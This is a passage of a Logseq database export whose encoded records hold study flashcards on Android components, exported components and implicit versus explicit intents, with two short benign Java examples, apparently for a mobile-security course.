receiveslogseq____",536870916]],[logseq____"^15logseq____",[83,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[83,logseq____"^Flogseq____",76,536870916]],[logseq____"^15logseq____",[83,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[83,logseq____"^Vlogseq____",76,536870916]],[logseq____"^15logseq____",[83,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[83,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[83,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[83,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[83,logseq____"^Hlogseq____",75,536876191]],[logseq____"^15logseq____",[83,logseq____"^;logseq____",logseq____"~u67b83fab-0343-4963-8e6d-f4f3e985cc37logseq____",536870916]],[logseq____"^15logseq____",[84,logseq____"^Qlogseq____",logseq____"Example: see ((6717ce84-d0f0-48ee-8138-2dd29ce1cc0e))logseq____",536870916]],[logseq____"^15logseq____",[84,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[84,logseq____"^Flogseq____",87,536870916]],[logseq____"^15logseq____",[84,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[84,logseq____"^Vlogseq____",85,536870916]],[logseq____"^15logseq____",[84,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[84,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[84,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[84,logseq____"^Hlogseq____",78,536876191]],[logseq____"^15logseq____",[84,logseq____"^;logseq____",logseq____"~u67b83fab-0b5d-46a6-9fcd-e09676b8135clogseq____",536870916]],[logseq____"^15logseq____",[85,logseq____"^Qlogseq____",logseq____"### Exportedlogseq____",536870916]],[logseq____"^15logseq____",[85,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[85,logseq____"^Flogseq____",90,536870916]],[logseq____"^15logseq____",[85,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[85,logseq____"^Vlogseq____",90,536870916]],[logseq____"^15logseq____",[85,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[85,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[85,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[85,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536876191]],[logseq____"^15logseq____",[85,logseq____"^Jlogseq____",[],536876191]],[logseq____"^15logseq____",[85,logseq____"^;logseq____",logseq____"~u67b83fab-b6b4-45f9-b63f-912fb07b8e00logseq____",536870916]],[logseq____"^15logseq____",[86,logseq____"^Qlogseq____",logseq____"components ([[Activity]], [BroadcastReceiver]([[Broadcast Receiver]]) etc.)logseq____",536873236]],[logseq____"^15logseq____",[86,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[86,logseq____"^Flogseq____",88,536870916]],[logseq____"^15logseq____",[86,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[86,logseq____"^Vlogseq____",79,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",27,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",74,536870916]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",410,536873236]],[logseq____"^15logseq____",[86,logseq____"^Ulogseq____",411,536873236]],[logseq____"^15logseq____",[86,logseq____"^Hlogseq____",410,536876191]],[logseq____"^15logseq____",[86,logseq____"^Hlogseq____",411,536876191]],[logseq____"^15logseq____",[86,logseq____"^;logseq____",logseq____"~u67b83fab-f491-470d-b484-74282d4e99a0logseq____",536870916]],[logseq____"^15logseq____",[87,logseq____"^Qlogseq____",logseq____"Otherwise, it can only be invoked by components of the same app or a privileged system componentlogseq____",536870916]],[logseq____"^15logseq____",[87,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[87,logseq____"^Flogseq____",81,536870916]],[logseq____"^15logseq____",[87,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[87,logseq____"^Vlogseq____",85,536870916]],[logseq____"^15logseq____",[87,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[87,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[87,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[87,logseq____"^;logseq____",logseq____"~u67b83fab-02e6-4434-bd2b-7d2d62af330elogseq____",536870916]],[logseq____"^15logseq____",[88,logseq____"^Qlogseq____",logseq____"application meta-data (Launcher Icon, name)logseq____",536870916]],[logseq____"^15logseq____",[88,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[88,logseq____"^Flogseq____",79,536870916]],[logseq____"^15logseq____",[88,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[88,logseq____"^Vlogseq____",79,536870916]],[logseq____"^15logseq____",[88,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[88,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[88,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[88,logseq____"^;logseq____",logseq____"~u67b83fab-9493-4ffb-bb41-6815271ded6dlogseq____",536870916]],[logseq____"^15logseq____",[89,logseq____"^Qlogseq____",logseq____"If needed, apps can *query* other packages via their explicit name or declare ((6717978c-801a-4383-b970-cffcfbb13343)) that they want to subscribe tologseq____",536870916]],[logseq____"^15logseq____",[89,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[89,logseq____"^Flogseq____",77,536870916]],[logseq____"^15logseq____",[89,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[89,logseq____"^Vlogseq____",92,536870916]],[logseq____"^15logseq____",[89,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[89,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[89,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[89,logseq____"^Hlogseq____",76,536876191]],[logseq____"^15logseq____",[89,logseq____"^;logseq____",logseq____"~u67b83fab-7d40-45e3-afe9-d3144bf1adb7logseq____",536870916]],[logseq____"^15logseq____",[90,logseq____"^Qlogseq____",logseq____"## Components #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[90,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[90,logseq____"^Flogseq____",79,536870916]],[logseq____"^15logseq____",[90,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[90,logseq____"^Vlogseq____",28,536870916]],[logseq____"^15logseq____",[90,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[90,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[90,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[90,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876191]],[logseq____"^15logseq____",[90,logseq____"^Jlogseq____",[],536876191]],[logseq____"^15logseq____",[90,logseq____"^Hlogseq____",2,536876191]],[logseq____"^15logseq____",[90,logseq____"^Hlogseq____",24,536876191]],[logseq____"^15logseq____",[90,logseq____"^;logseq____",logseq____"~u67b83fab-70d9-40db-900e-f07703ba09adlogseq____",536870916]],[logseq____"^15logseq____",[91,logseq____"^Qlogseq____",logseq____"indicates which apps and components can *call/start this component*logseq____",536870916]],[logseq____"^15logseq____",[91,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[91,logseq____"^Flogseq____",85,536870916]],[logseq____"^15logseq____",[91,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[91,logseq____"^Vlogseq____",85,536870916]],[logseq____"^15logseq____",[91,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[91,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[91,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[91,logseq____"^;logseq____",logseq____"~u67b83fab-2106-48ee-8347-e47de5275460logseq____",536870916]],[logseq____"^15logseq____",[92,logseq____"^Qlogseq____",logseq____"### Query packages / intent filterslogseq____",536870916]],[logseq____"^15logseq____",[92,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[92,logseq____"^Flogseq____",76,536870916]],[logseq____"^15logseq____",[92,logseq____"^Xlogseq____",28,536870916]],[logseq____"^15logseq____",[92,logseq____"^Vlogseq____",90,536870916]],[logseq____"^15logseq____",[92,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[92,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[92,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[92,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536876191]],[logseq____"^15logseq____",[92,logseq____"^Jlogseq____",[],536876191]],[logseq____"^15logseq____",[92,logseq____"^;logseq____",logseq____"~u67b83fab-2ec4-4387-8c76-186f1424173clogseq____",536870916]],[logseq____"^15logseq____",[109,logseq____"^Qlogseq____",logseq____"1. Activity A creates an [[Intent Messages]] with an action description and passes it to `startActivity()`logseq____",536870916]],[logseq____"^15logseq____",[109,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[109,logseq____"^Flogseq____",129,536870916]],[logseq____"^15logseq____",[109,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[109,logseq____"^Vlogseq____",119,536870916]],[logseq____"^15logseq____",[109,logseq____"^Ulogseq____",75,536872810]],[logseq____"^15logseq____",[109,logseq____"^Hlogseq____",75,536873239]],[logseq____"^15logseq____",[109,logseq____"^;logseq____",logseq____"~u67b83fab-66c5-4aea-8653-d6605fbc7e29logseq____",536870916]],[logseq____"^15logseq____",[110,logseq____"^Qlogseq____",logseq____"Open a link in the users preferred browserlogseq____",536870916]],[logseq____"^15logseq____",[110,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[110,logseq____"^Flogseq____",460,536873239]],[logseq____"^15logseq____",[110,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[110,logseq____"^Vlogseq____",460,536873239]],[logseq____"^15logseq____",[110,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[110,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[110,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[110,logseq____"^;logseq____",logseq____"~u67b83fab-46fa-4b29-b8e2-2a9ad0bf9bdelogseq____",536870916]],[logseq____"^15logseq____",[111,logseq____"^Qlogseq____",logseq____"Can be set explicitly or implicitlylogseq____",536870916]],[logseq____"^15logseq____",[111,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[111,logseq____"^Flogseq____",124,536870916]],[logseq____"^15logseq____",[111,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[111,logseq____"^Vlogseq____",124,536870916]],[logseq____"^15logseq____",[111,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[111,logseq____"^;logseq____",logseq____"~u67b83fab-ff71-4965-ae2b-71ed2fac6951logseq____",536870916]],[logseq____"^15logseq____",[112,logseq____"^Qlogseq____",logseq____"### Explicit #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[112,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[112,logseq____"^Flogseq____",111,536870916]],[logseq____"^15logseq____",[112,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[112,logseq____"^Vlogseq____",111,536870916]],[logseq____"^15logseq____",[112,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[112,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[112,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[112,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536873239]],[logseq____"^15logseq____",[112,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[112,logseq____"^Hlogseq____",2,536873239]],[logseq____"^15logseq____",[112,logseq____"^Hlogseq____",24,536873239]],[logseq____"^15logseq____",[112,logseq____"^;logseq____",logseq____"~u67b83fab-f86f-4eca-ab35-108b831cdf82logseq____",536870916]],[logseq____"^15logseq____",[113,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[113,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[113,logseq____"^Flogseq____",75,536870916]],[logseq____"^15logseq____",[113,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[113,logseq____"^Vlogseq____",75,536870916]],[logseq____"^15logseq____",[113,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[113,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[113,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[113,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[113,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[113,logseq____"^Hlogseq____",2,536873239]],[logseq____"^15logseq____",[113,logseq____"^Hlogseq____",24,536873239]],[logseq____"^15logseq____",[113,logseq____"^;logseq____",logseq____"~u67b83fab-63ea-49e3-86ed-708ada25dec6logseq____",536870916]],[logseq____"^15logseq____",[114,logseq____"^Qlogseq____",logseq____"~```java\\nIntent intent = new Intent(this, MainActivity.class);\\nstartActivity(intent);\\n```logseq____",536870916]],[logseq____"^15logseq____",[114,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[114,logseq____"^Flogseq____",116,536870916]],[logseq____"^15logseq____",[114,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[114,logseq____"^Vlogseq____",115,536870916]],[logseq____"^15logseq____",[114,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[114,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[114,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[114,logseq____"^;logseq____",logseq____"~u67b83fab-9803-435c-8891-85ac1e5ec334logseq____",536870916]],[logseq____"^15logseq____",[115,logseq____"^Qlogseq____",logseq____"Example:logseq____",536870916]],[logseq____"^15logseq____",[115,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[115,logseq____"^Flogseq____",121,536870916]],[logseq____"^15logseq____",[115,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[115,logseq____"^Vlogseq____",112,536870916]],[logseq____"^15logseq____",[115,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[115,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[115,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[115,logseq____"^;logseq____",logseq____"~u67b83fab-a335-44b9-83ab-c3266a39e7b4logseq____",536870916]],[logseq____"^15logseq____",[116,logseq____"^Qlogseq____",logseq____"Start `MainActivity` component within the same packagelogseq____",536870916]],[logseq____"^15logseq____",[116,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[116,logseq____"^Flogseq____",115,536870916]],[logseq____"^15logseq____",[116,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[116,logseq____"^Vlogseq____",115,536870916]],[logseq____"^15logseq____",[116,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[116,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[116,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[116,logseq____"^;logseq____",logseq____"~u67b83fab-befe-4d3b-9c43-55dd83d403ddlogseq____",536870916]],[logseq____"^15logseq____",[117,logseq____"^Qlogseq____",logseq____"~```java\\nIntent intent = new Intent(Intent.ACTION_VIEW);\\nintent.setData(Uri.parse(\\logseq____"https://google.com\\logseq____"));\\nactivity.startActivity(intent);\\n```logseq____",536870916]],[logseq____"^15logseq____",[117,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[117,logseq____"^Flogseq____",110,536870916]],[logseq____"^15logseq____",[117,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[117,logseq____"^Vlogseq____",460,536873239]],[logseq____"^15logseq____",[117,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[117,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[117,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[117,logseq____"^;logseq____",logseq____"~u67b83fab-e68b-4717-9704-e11fce1de302logseq____",536870916]],[logseq____"^15logseq____",[118,logseq____"^Qlogseq____",logseq____"2. The Android system searches all apps for an intent filter that matches the intentlogseq____",536870916]],[logseq____"^15logseq____",[118,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[118,logseq____"^Flogseq____",109,536870916]],[logseq____"^15logseq____",[118,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[118,logseq____"^Vlogseq____",119,536870916]],[logseq____"^15logseq____",[118,logseq____"^Ulogseq____",75,536872810]],[logseq____"^15logseq____",[118,logseq____"^;logseq____",logseq____"~u67b83fab-73d7-4add-9a2d-90240d2dd0eflogseq____",536870916]],[logseq____"^15logseq____",[119,logseq____"^Qlogseq____",logseq____"## Examplelogseq____",536870916]],[logseq____"^15logseq____",[119,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[119,logseq____"^Flogseq____",464,536873239]],[logseq____"^15logseq____",[119,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[119,logseq____"^Vlogseq____",75,536870916]],[logseq____"^15logseq____",[119,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[119,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[119,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[119,logseq____"^;logseq____",logseq____"~u67b83fab-ad5e-45eb-80d3-6a79156b4492logseq____",536870916]],[logseq____"^15logseq____",[120,logseq____"^Qlogseq____",logseq____"May be abused by attackers to start unintended componentslogseq____",536873239]],[logseq____"^15logseq____",[120,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[120,logseq____"^Flogseq____",125,536870916]],[logseq____"^15logseq____",[120,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[120,logseq____"^Vlogseq____",123,536870916]],[logseq____"^15logseq____",[120,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[120,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[120,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[120,logseq____"^;logseq____",logseq____"~u67b83fab-195a-425e-88eb-9cce97826172logseq____",536870916]],[logseq____"^15logseq____",[121,logseq____"^Qlogseq____",logseq____"Specify the target component namelogseq____",536870916]],[logseq____"^15logseq____",[121,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[121,logseq____"^Flogseq____",112,536870916]],[logseq____"^15logseq____",[121,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[121,logseq____"^Vlogseq____",112,536870916]],[logseq____"^15logseq____",[121,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[121,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[121,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[121,logseq____"^;logseq____",logseq____"~u67b83fab-9bc9-4a63-b7f2-ebec0ce0e95clogseq____",536870916]],[logseq____"^15logseq____",[122,logseq____"^Qlogseq____",logseq____"Specify some `Action String`, `Category` and `Data`logseq____",536870916]],[logseq____"^15logseq____",[122,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[122,logseq____"^Flogseq____",123,536870916]],[logseq____"^15logseq____",[122,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[122,logseq____"^Vlogseq____",123,536870916]],[logseq____"^15logseq____",[122,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[122,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[122,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[122,logseq____"^;logseq____",logseq____"~u67b83fab-9a4d-41fc-822a-3c5fe7d8812clogseq____",536870916]],[logseq____"^15logseq____",[123,logseq____"^Qlogseq____",logseq____"### Implicit #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[123,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[123,logseq____"^Flogseq____",112,536870916]],[logseq____"^15logseq____",[123,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[123,logseq____"^Vlogseq____",111,536870916]],[logseq____"^15logseq____",[123,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[123,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[123,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[123,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536873239]],[logseq____"^15logseq____",[123,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[123,logseq____"^Hlogseq____",2,536873239]],[logseq____"^15logseq____",[123,logseq____"^Hlogseq____",24,536873239]],[logseq____"^15logseq____",[123,logseq____"^;logseq____",logseq____"~u67b83fab-8d93-4973-ad1c-e3040cdf585clogseq____",536870916]],[logseq____"^15logseq____",[124,logseq____"^Qlogseq____",logseq____"## Receiver Componentslogseq____",536870916]],[logseq____"^15logseq____",[124,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[124,logseq____"^Flogseq____",113,536870916]],[logseq____"^15logseq____",[124,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[124,logseq____"^Vlogseq____",75,536870916]],[logseq____"^15logseq____",[124,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[124,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[124,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[124,logseq____"^;logseq____",logseq____"~u67b83fab-5d67-46bb-b460-e6a2c39a1250logseq____",536870916]],[logseq____"^15logseq____",[125,logseq____"^Qlogseq____",logseq____"Android will find a suitable receiverlogseq____",536870916]],[logseq____"^15logseq____",[125,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[125,logseq____"^Flogseq____",122,536870916]],[logseq____"^15logseq____",[125,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[125,logseq____"^Vlogseq____",123,536870916]],[logseq____"^15logseq____",[125,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[125,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[125,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[125,logseq____"^;logseq____",logseq____"~u67b83fab-184e-421f-8fb7-eb3b981cf767logseq____",536870916]],[logseq____"^15logseq____",[126,logseq____"^Qlogseq____",logseq____"Are sent and received by applications (can also be sent to components of different apps)logseq____",536870916]],[logseq____"^15logseq____",[126,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[126,logseq____"^Flogseq____",130,536870916]],[logseq____"^15logseq____",[126,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[126,logseq____"^Vlogseq____",113,536870916]],[logseq____"^15logseq____",[126,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[126,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[126,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[126,logseq____"^;logseq____",logseq____"~u67b83fab-1951-49cf-9e3e-df1332388777logseq____",536870916]],[logseq____"^15logseq____",[127,logseq____"^Qlogseq____",logseq____"3. When a match is found it starts the matching activity (Activity B) by invoking its `onCreate()` method and passing it the [[Intent Messages]]logseq____",536870916]],[logseq____"^15logseq____",[127,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[127,logseq____"^Flogseq____",118,536870916]],[logseq____"^15logseq____",[127,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[127,logseq____"^Vlogseq____",119,536870916]],[logseq____"^15logseq____",[127,logseq____"^Ulogseq____",75,536872810]],[logseq____"^15logseq____",[127,logseq____"^Hlogseq____",75,536873239]],[logseq____"^15logseq____",[127,logseq____"^;logseq____",logseq____"~u67b83fab-fd74-4d18-ab64-d8053b860979logseq____",536870916]],[logseq____"^15logseq____",[128,logseq____"^Qlogseq____",logseq____"Transmitted via *binder-based IPC*logseq____",536870916]],[logseq____"^15logseq____",[128,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[128,logseq____"^Flogseq____",126,536870916]],[logseq____"^15logseq____",[128,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[128,logseq____"^Vlogseq____",113,536870916]],[logseq____"^15logseq____",[128,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[128,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[128,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[128,logseq____"^;logseq____",logseq____"~u67b83fab-e648-4bf6-acd8-4ffeda5c9ef2logseq____",536870916]],[logseq____"^15logseq____",[129,logseq____"^Qlogseq____",logseq____"logseq____",536870916]],[logseq____"^15logseq____",[129,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[129,logseq____"^Flogseq____",119,536870916]],[logseq____"^15logseq____",[129,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[129,logseq____"^Vlogseq____",119,536870916]],[logseq____"^15logseq____",[129,logseq____"^Ulogseq____",75,536872810]],[logseq____"^15logseq____",[129,logseq____"^;logseq____",logseq____"~u67b83fab-36f7-4754-b268-869f00fbf4a1logseq____",536870916]],[logseq____"^15logseq____",[130,logseq____"^Qlogseq____",logseq____"Intent message as data object representing an intend to do somethinglogseq____",536870916]],[logseq____"^15logseq____",[130,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[130,logseq____"^Flogseq____",113,536870916]],[logseq____"^15logseq____",[130,logseq____"^Xlogseq____",75,536870916]],[logseq____"^15logseq____",[130,logseq____"^Vlogseq____",113,536870916]],[logseq____"^15logseq____",[130,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[130,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[130,logseq____"^Ulogseq____",75,536870916]],[logseq____"^15logseq____",[130,logseq____"^;logseq____",logseq____"~u67b83fab-c855-4300-8a3a-72e638916196logseq____",536870916]],[logseq____"^15logseq____",[132,logseq____"^Klogseq____",1740128172005,536870916]],[logseq____"^15logseq____",[132,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[132,logseq____"^Ylogseq____",logseq____"organizationlogseq____",536870916]],[logseq____"^15logseq____",[132,logseq____"^11logseq____",logseq____"Organizationlogseq____",536870916]],[logseq____"^15logseq____",[132,logseq____"^Blogseq____",1740128172005,536870916]],[logseq____"^15logseq____",[132,logseq____"^;logseq____",logseq____"~u67b83fac-44a5-4484-ab1c-06086d8510delogseq____",536870916]],[logseq____"^15logseq____",[133,logseq____"^Qlogseq____",logseq____"Security of mobile platforms and ecosystemslogseq____",536870916]],[logseq____"^15logseq____",[133,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[133,logseq____"^Flogseq____",141,536870916]],[logseq____"^15logseq____",[133,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[133,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[133,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[133,logseq____"^;logseq____",logseq____"~u67b83fac-b5fc-4605-b71f-6278a6c0bb36logseq____",536870916]],[logseq____"^15logseq____",[134,logseq____"^Qlogseq____",logseq____"Retake: `27.03.2025`, `10:00-12:00` @`GHH`logseq____",536870916]],[logseq____"^15logseq____",[134,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[134,logseq____"^Flogseq____",140,536870916]],[logseq____"^15logseq____",[134,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[134,logseq____"^Vlogseq____",142,536870916]],[logseq____"^15logseq____",[134,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[134,logseq____"^;logseq____",logseq____"~u67b83fac-e184-4146-86e8-5c4ebd9e56felogseq____",536870916]],[logseq____"^15logseq____",[135,logseq____"^Qlogseq____",logseq____"Some web logseq____& network 